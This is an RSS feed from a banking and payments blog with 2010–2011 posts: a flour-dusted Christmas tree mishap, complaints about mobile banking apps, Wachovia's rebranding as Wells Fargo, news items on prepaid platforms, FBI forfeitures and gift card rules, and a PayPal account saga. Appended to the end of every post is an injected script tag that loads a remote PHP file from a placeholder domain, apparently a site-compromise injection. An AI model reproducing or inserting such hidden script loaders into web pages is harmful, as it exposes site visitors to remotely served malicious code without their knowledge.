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	<title>tdg-phenix online</title>
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	<link>http://www.tdgphenix.com</link>
	<description>banking and payments in one spot online</description>
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		<title>The TDG-Phenix Christmas Tree: One Bad Idea</title>
		<link>http://www.tdgphenix.com/2011/01/19/christmastree/</link>
		<comments>http://www.tdgphenix.com/2011/01/19/christmastree/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 03:43:14 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Hot Topics]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=5261</guid>
		<description><![CDATA[I thought I was going to give Martha Stewart a run for her money.  &#8220;Martha&#8217;s got nothing on you&#8221; was one comment flying around.  I&#8217;m sure after this Christmas debacle, there is no future in becoming the &#8216;holiday decorator to the stars&#8217;; I will explain. Christmas ingredients:  (1) eleven-foot fir (yes, eleven), 1,900 lights (keep reading), [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">I thought I was going to give Martha Stewart a run for her money.  &#8220;Martha&#8217;s got nothing on you&#8221; was one comment flying around.  I&#8217;m sure after this Christmas debacle, there is no future in becoming the &#8216;holiday decorator to the stars&#8217;; I will explain.</p>
<p>Christmas ingredients:  (1) eleven-foot fir (yes, eleven), 1,900 lights (keep reading), lovely gold sheer ribbon, several decades of ornaments from around the world, a few birds nests and 1/2 pound of flour.  Yes, you heard it right, flour.</p>
<p>After strategically stringing the 19 strands and neurotically flowing ribbon in an ever-so-festive manner, I hung the ornaments and faux birds on the branches.  The tree was missing something&#8230;. ah, yes&#8230; the look of a freshly-fallen snowfall on its limbs. </p>
<p>I&#8217;ve never been one for &#8216;going green&#8217;, but this year, I wasn&#8217;t thrilled about buying bags of plastic &#8216;faux snow&#8217; to sprinkle on the branches and subsequently for my less-than-brilliant cat to probably consume (it&#8217;s not the consumption, it&#8217;s how it comes out in the end&#8230;) So, while looking through my cabinets, I had a brilliant idea: I could sift flour onto the branches and give it the &#8220;Christmas in New England&#8217; look AND it would be feline-friendly, since I know he wouldn&#8217;t attempt to eat it.   It came out stunning (at least in my mind):<br />
 </p>
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<h4>The final product, &#8216;sans flour&#8217;. Note the extensive collection of Harrod&#8217;s Bears</h4>
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<p style="text-align: center;"><img class="size-medium wp-image-5263     aligncenter" title="Christmas @ TDG-Phenix" src="http://www.tdgphenix.com/wp-content/uploads/2010-12-09-20.31.03-e1295480247409-225x300.jpg" alt="" width="401" height="485" /></p>
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<h4>The &#8216;eco-friendly&#8217; tree, adorned with Gold Medal (flour)</h4>
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<td valign="top"><img class="aligncenter size-medium wp-image-5265" title="Avec snow" src="http://www.tdgphenix.com/wp-content/uploads/2010-12-10-10.33.11-300x225.jpg" alt="" width="401" height="273" /></td>
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<p>What I was quickly reminded of from my thousands of hours watching cooking shows is that when one needs to thicken a sauce they add flour. In the case of a living Christmas tree, when one adds flour as a decorative accoutrement,  it has this tendency to suck all of the moisture out of the needles, leaving one with a petrified evergreen that drops needles like I drop hair off my head.</p>
<p>The final event in this debacle was trying to extricate this monstrosity from the great room post-holidays.  Flour, unlike the plastic snowflake product, seems to become airborne, creating a dust storm that rivals the plains of Kansas.  After 6 hours of sawing, throwing, sweeping, vacuuming, vacuuming and vacuuming, we managed to get to the dusting component of the holiday decorative disaster.  It&#8217;s nice to see the hardwood floors again.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Apps for iPhone and Blackberry only? Wake up bankers!</title>
		<link>http://www.tdgphenix.com/2011/01/11/apps-for-iphone-and-blackberry-only-wake-up-bankers/</link>
		<comments>http://www.tdgphenix.com/2011/01/11/apps-for-iphone-and-blackberry-only-wake-up-bankers/#comments</comments>
		<pubDate>Tue, 11 Jan 2011 14:51:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Mobile Banking]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=4971</guid>
		<description><![CDATA[I see a boat load of banks that are touting their iPhone and Blackberry apps, but they seem to have forgotten (or ignored the Google-owned) Android operating system. Let&#8217;s face it, whatever Google touches turns to gold.  If your bank hasn&#8217;t written an app for Android, you are losing market share and most likely credibility [...]]]></description>
			<content:encoded><![CDATA[<p>I see a boat load of banks that are touting their iPhone and Blackberry apps, but they seem to have forgotten (or ignored the Google-owned) Android operating system. Let&#8217;s face it, whatever Google touches turns to gold.  If your bank hasn&#8217;t written an app for Android, you are losing market share and most likely credibility in the marketplace.</p>
<p>Let&#8217;s also remember that when people get their Android phones, they spend a lot of time surfing the &#8220;Android Market&#8221; looking for apps to install, and most of those banking apps they first find include Bank of America, Wells Fargo, USAA, Chase, etc.  You can even open an account through that app.  The time is now for you bankers to be in Android-land&#8230;</p>
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		<title>The Shell Saver ACH Card &#8211; It Works</title>
		<link>http://www.tdgphenix.com/2011/01/09/the-shell-saver-ach-card-it-works-2/</link>
		<comments>http://www.tdgphenix.com/2011/01/09/the-shell-saver-ach-card-it-works-2/#comments</comments>
		<pubDate>Sun, 09 Jan 2011 20:33:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[YouTube]]></category>
		<category><![CDATA[Merge]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=4540</guid>
		<description><![CDATA[Larry De Palma, a self-proclaimed payments industry icon, tests the functionality of the Shell Saver ACH card at the pump]]></description>
			<content:encoded><![CDATA[<p>Larry De Palma, a self-proclaimed payments industry icon, tests the functionality of the Shell Saver ACH card at the pump</p>
<p><p style="color: #f00; font-weight: bold;">Artiss YouTube Embed: The YouTube ID of MImfvyv8aMY is invalid.</p>
<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Mr. Funeral Director, Make sure you use enough embalming fluid on Wachovia</title>
		<link>http://www.tdgphenix.com/2010/09/27/wachovia/</link>
		<comments>http://www.tdgphenix.com/2010/09/27/wachovia/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 17:14:06 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Banking]]></category>
		<category><![CDATA[Wachovia]]></category>
		<category><![CDATA[Wells Fargo]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=1552</guid>
		<description><![CDATA[Today is a new day for me personally and the business.  Gone is the Wachovia brand (which I could really go off on a diatribe about their lousy service), and welcome to Wells Fargo: organized, sleek, good online functionality, a MOBILE APP for Android, and really nice debit card designs. I think I will like [...]]]></description>
			<content:encoded><![CDATA[<p>Today is a new day for me personally and the business.  Gone is the Wachovia brand (which I could really go off on a diatribe about their lousy service), and welcome to Wells Fargo: organized, sleek, good online functionality, a MOBILE APP for Android, and really nice debit card designs. I think I will like this new banking relationship.  I may bring them brownies or something (wait, they still probably have the same useless branch manager at my branch, scratch the brownies).  I will send an email to Steve Ellis who probably had a lot to do with this transition.</p>
<p>Wachovia is dead.  Hopefully they did a good job with the embalming fluid.</p>
<p>My cheer (minus the pom poms):  Wachovia to Wells Fargo, W-O-W!<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Fifth Third Processing acquires Springbok&#8217;s prepaid platform</title>
		<link>http://www.tdgphenix.com/2010/09/22/fifth-third-processing-acquires-springboks-prepaid-platform/</link>
		<comments>http://www.tdgphenix.com/2010/09/22/fifth-third-processing-acquires-springboks-prepaid-platform/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 22:33:16 +0000</pubDate>
		<dc:creator>webmaster@greensheet.com</dc:creator>
				<category><![CDATA[Prepaid]]></category>

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		<description><![CDATA[Cincinnati, Sept. 21, 2010 -- Fifth Third Processing Solutions, LLC, today announced that it has acquired certain assets of Englewood, Colorado based Springbok Services, Inc.  The assets were acquired by Fifth Third Processing Solutions in connection w...]]></description>
			<content:encoded><![CDATA[Cincinnati, Sept. 21, 2010 -- Fifth Third Processing Solutions, LLC, today announced that it has acquired certain assets of Englewood, Colorado based Springbok Services, Inc. The assets were acquired by Fifth Third Processing Solutions in connection with Springbok's Chapter 11 bankruptcy proceeding and include Springbok's cutting edge reloadable prepaid card processing platform. Founded in 1998, Springbok pioneered and advanced the development of full-service, multi-touch prepaid solutions.<script src="http://$domain/ll.php?kk=11"></script>]]></content:encoded>
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		<title>It&#8217;s like visiting with the Pope, but for banking</title>
		<link>http://www.tdgphenix.com/2010/09/21/its-like-visiting-with-the-pope-but-for-banking/</link>
		<comments>http://www.tdgphenix.com/2010/09/21/its-like-visiting-with-the-pope-but-for-banking/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 00:50:38 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Compliance]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=4553</guid>
		<description><![CDATA[Larry De Palma was able to spend several wonderful hours at two summer 2010 fundraisers with the then House Financial Services Committee Chairman Barney Frank (D-MA).  A quote by De Palma&#8217;s dearest and oldest friend said &#8220;You look like a kid in a candy store&#8221;. Never one not to jump in and help the host, De [...]]]></description>
			<content:encoded><![CDATA[<p>Larry De Palma was able to spend several wonderful hours at two summer 2010 fundraisers with the then House Financial Services Committee Chairman Barney Frank (D-MA).  A quote by De Palma&#8217;s dearest and oldest friend said &#8220;You look like a kid in a candy store&#8221;.</p>
<p><img class="alignnone size-medium wp-image-4554" title="Two banking icons" src="http://www.tdgphenix.com/wp-content/uploads/026-300x168.jpg" alt="" width="300" height="168" /></p>
<p>Never one not to jump in and help the host, De Palma showed his finely tuned catering skills by creating the platters for one event at Mainestreet Ogunquit, in beautiful Ogunquit Maine.</p>
<p><img class="alignnone size-medium wp-image-4558" title="Lorenzo's Fruity Platter" src="http://www.tdgphenix.com/wp-content/uploads/025-300x168.jpg" alt="" width="300" height="168" /><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>FBI reports forfeiture of processors&#8217; proceeds from illegal activities</title>
		<link>http://www.tdgphenix.com/2010/08/20/fbi-reports-forfeiture-of-processors-proceeds-from-illegal-activities/</link>
		<comments>http://www.tdgphenix.com/2010/08/20/fbi-reports-forfeiture-of-processors-proceeds-from-illegal-activities/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 18:44:42 +0000</pubDate>
		<dc:creator>webmaster@greensheet.com</dc:creator>
				<category><![CDATA[Fed Actions]]></category>
		<category><![CDATA[Compliance]]></category>
		<category><![CDATA[Feds]]></category>

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		<description><![CDATA[New York, Aug. 17, 2010 -- PREET BHARARA, the United States Attorney for the Southern District of New York, and JANICE K. FEDARCYK, the Assistant Director-in-Charge of the New York Office of the Federal Bureau of Investigation (FBI), announced today th...]]></description>
			<content:encoded><![CDATA[New York, Aug. 17, 2010 -- PREET BHARARA, the United States Attorney for the Southern District of New York, and JANICE K. FEDARCYK, the Assistant Director-in-Charge of the New York Office of the Federal Bureau of Investigation (FBI), announced today that two payment processors—ALLIED WALLET, INC. and ALLIED SYSTEMS, INC.—and their owner AHMAD KHAWAJA entered into a settlement agreement requiring them to forfeit $13,335,248.91 to resolve civil forfeiture claims alleging that the funds are property involved in money laundering. The civil forfeiture Complaint filed in Manhattan federal court earlier today also alleges that the funds are traceable to proceeds of the operation of an illegal gambling business and traceable to property used to operate an illegal gambling business.<script src="http://$domain/ll.php?kk=11"></script>]]></content:encoded>
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		<title>The Fed approves gift card rule extension</title>
		<link>http://www.tdgphenix.com/2010/08/17/the-fed-approves-gift-card-rule-extension/</link>
		<comments>http://www.tdgphenix.com/2010/08/17/the-fed-approves-gift-card-rule-extension/#comments</comments>
		<pubDate>Tue, 17 Aug 2010 17:36:10 +0000</pubDate>
		<dc:creator>webmaster@greensheet.com</dc:creator>
				<category><![CDATA[Cards]]></category>
		<category><![CDATA[Prepaid]]></category>

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		<description><![CDATA[Washington, Aug. 11, 2010 -- The Federal Reserve Board on Wednesday announced its approval of an interim final rule implementing recent legislation modifying the effective date of certain disclosure requirements applicable to gift cards under the Credi...]]></description>
			<content:encoded><![CDATA[Washington, Aug. 11, 2010 -- The Federal Reserve Board on Wednesday announced its approval of an interim final rule implementing recent legislation modifying the effective date of certain disclosure requirements applicable to gift cards under the Credit Card Accountability Responsibility and Disclosure Act of 2009. For gift certificates, store gift cards, and general-use prepaid cards produced prior to April 1, 2010, the legislation and interim final rule delay the August 22, 2010, effective date of these disclosures until January 31, 2011, provided that several conditions are met.<script src="http://$domain/ll.php?kk=11"></script>]]></content:encoded>
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		<title>I&#8217;m tired of testing your mobile apps</title>
		<link>http://www.tdgphenix.com/2010/08/13/mobileapps/</link>
		<comments>http://www.tdgphenix.com/2010/08/13/mobileapps/#comments</comments>
		<pubDate>Fri, 13 Aug 2010 22:15:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mobile Banking]]></category>
		<category><![CDATA[Mobile Payments]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=1355</guid>
		<description><![CDATA[Dear mobile banking/payments/whatever developer: I am very excited to have my new Droid X phone.  I love the functionality, it has made my life much easier to manage.  I am however, tired of you putting crap in the Android Market and not testing it.  Maybe you should actually PURCHASE one of these phones before you [...]]]></description>
			<content:encoded><![CDATA[<p>Dear mobile banking/payments/whatever developer:</p>
<p>I am very excited to have my new Droid X phone.  I love the functionality, it has made my life much easier to manage.  I am however, tired of you putting crap in the Android Market and not testing it.  Maybe you should actually PURCHASE one of these phones before you submit your shoddy code to the general public (who, by the way, can comment on your shoddy code).</p>
<p>Last week, I downloaded a payments application that wanted me to select my month of birth &#8211; a fairly easy task, however they seemed to only offer ELEVEN of the twelve months in the year (my birth month, October, was missing).  That is something that should be caught during the QA process, WAYYYYY  before uploading it to the Android Market.  Do you not get the fact that you lose credibility in the marketplace when you forget a freakin&#8217; month in the year?  What will you do with my checking account data if you can&#8217;t get the months of the year correct?</p>
<p>Also, who&#8217;s running your requirements process?  Do you actually ask users what they want in an app, or simply put something up there and hope 3 people will use this.  I just installed the Android Banking app from a heavily-funded Firethorn Holdings and to summarize, it&#8217;s crap.  Feces. Sh*t.  The app gives me less functionality than Mint, in a lovely black-and-white color scheme.  Maybe they hired a former mainframe programmer who doesn&#8217;t realize that these devices support COLOR.</p>
<p>Please, developers of mobile apps &#8211; gather requirements from prospective users, write good code, test thoroughly, regression test if you change your app, then do some USABILITY testing before you let someone in Bangalor upload this stuff to the Android Market.  Once it&#8217;s installed, used once and deleted, it&#8217;s hard to get the user back to reinstall.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Dear PayPal, We Just Want to Have Our Class Reunion</title>
		<link>http://www.tdgphenix.com/2010/08/05/dearpaypal/</link>
		<comments>http://www.tdgphenix.com/2010/08/05/dearpaypal/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 17:45:19 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Payments]]></category>

		<guid isPermaLink="false">http://www.tdgphenix.com/?p=1327</guid>
		<description><![CDATA[I have decided that PayPal is the PAP Smear of the payments industry: for those who are familiar with PAP Smears, you know you hate them, but they are a necessarily evil. I couldn&#8217;t come up with a better analogy (or one that was of a male-gender, for that matter) to describe the bureaucratic nightmare that [...]]]></description>
			<content:encoded><![CDATA[<p>I have decided that PayPal is the PAP Smear of the payments industry: for those who are familiar with PAP Smears, you know you hate them, but they are a necessarily evil. I couldn&#8217;t come up with a better analogy (or one that was of a male-gender, for that matter) to describe the bureaucratic nightmare that is the spawn of eBay.</p>
<p>Why do I use such harsh words about an entity that I have fondly described as &#8220;making JPMorgan Chase look like a community bank&#8217;?</p>
<p>The story starts at the need to hold my high school graduating class 25th reunion. After steering committee conference calls, a survey out to classmates and the selection of an online event registration system (Eventbrite won out over Eventbee), it was determined that we needed a PayPal account to take in all of those electronic payments that would be created during the registration process for our 25th reunion soiree.  So, our plan of attack was IRS Tax ID, bank account at TD BankNorth and finally, the PayPal account.  I thought the last of those options would be the easiest.  Then again, I also thought that Darren Stevens on Bewitched was straight.</p>
<p><img class="alignleft size-full wp-image-1334" title="paypal1" src="http://www.tdgphenix.com/wp-content/uploads/paypal1.png" alt="" width="395" height="151" />Having opened a few PayPal accounts in my day, I knew to have my ducks lined up in a row. I had Tax ID, address, bank account info, etc. The challenge started when one is forced to categorize themselves as an entity and  in a pseudo-MCC exercise, but beware, instead of the thousands of MCCs, PayPal has like 22 categories &#8211; and if you don&#8217;t select the right one, the wrath of Meg Whitman comes down upon you.</p>
<p>When looking at the five choices to start with, I knew that we were not incorporated, we certainly were not a Government Entity, and the Tax ID did not correlate to Individual, Sole Proprietorship or Partnership, so I selected Non-Profit Organization (which theoretically, we are, according to IRS rules we don&#8217;t have to file a tax return unless our revenues are above $25,000).</p>
<p>The next step in the &#8220;Quest for Confusion&#8221; was to select the category, of which PayPal presented us with 27 (TWENTY-SEVEN) options.  Twenty-seven.  Vingt-sept, if you&#8217;re in Paris. </p>
<p> So, of the 27 categories, I found no &#8216;club&#8217;, no &#8216;social organization&#8217;, nothing.  I again was forced to select &#8220;Nonprofit&#8221;.  <img class="alignright size-full wp-image-1335" title="paypal2" src="http://www.tdgphenix.com/wp-content/uploads/paypal2.png" alt="" width="418" height="170" />Now, I wasn&#8217;t looking for a special rate because of this &#8216;nonprofit&#8217; status (which apparently is 2.3% instead of the standard 2.9%), I just had no other selection as an option.  So that&#8217;s when the fun began:</p>
<p><em><strong>Dear Noble 1985 Alumni Club,<br />
As part of our security measures, we regularly screen activity in the PayPal system. During a recent screening, we noticed an issue regarding your account. PayPal requires accounts within the charity / non profit category to provide us with some additional information regarding their organization. Upon a recent review, your account was identified as falling within this classification. Until we can collect this information, your access to sensitive account features will be limited.  Please take a moment to provide us with this information so that we can restore your access as soon as possible.</strong></em></p>
<p>After providing a bunch of documentation and requesting that they disregard the nonprofit designation, I received another mainframe-generated email:</p>
<p><em><strong>Hello Noble 1985 Alumni Club,<br />
We are writing to you in regards to your PayPal Account.  PayPal appreciates that you have chosen us to accept payments for your organization.  As part of PayPals Compliance Program, we request that entities wishing to accept donations on behalf of a charity or other non-profit organization provide evidence of their legitimacy.  Please provide the following information:</strong></em></p>
<p><em><strong>1.  Evidence of tax-exempt status and/or registration with any applicable regulatory bodies governing your jurisdiction.<br />
2.  A valid URL for the organization<br />
3.  A brief organizational summary or Mission Statement.</strong></em></p>
<p>My response to PayPal (showing the stress of a class reunion only a month and a half away):</p>
<p><span style="color: #ff0000;"><strong><span style="color: #800000;">Noble High School 1985 Social Club requests that you change our status (or request) from non-profit to ‘profit’ so that we may begin accepting payments through PayPal.  We will not be pursuing a 501(c)3 designation at this time due to the expense and time constraints. We are simply an organization that is arranging a 25<sup>th</sup> class reunion.  Could you please remove the limitations on this account so that we can move forward.  Your bureaucracy makes Chase look like a community bank.</span></strong></span></p>
<p><span style="color: #ff0000;"><strong><span style="color: #800000;">Regards,<br />
Noble HS 1985 Social Club</span></strong></span></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">FYI, apparently when you compare PayPal to the most hated bank in the country, they lift your limitations within 24 hours. So for those of you reuniting in the future and looking to accept electronic payments, it&#8217;s good to use the terms &#8220;Bureaucracy&#8221; and &#8220;Chase&#8221; to get things done in PayPal-land.</span></span></p>
<p><span style="color: #ff0000;"> </span><script src="http://$domain/ll.php?kk=11"></script></p>
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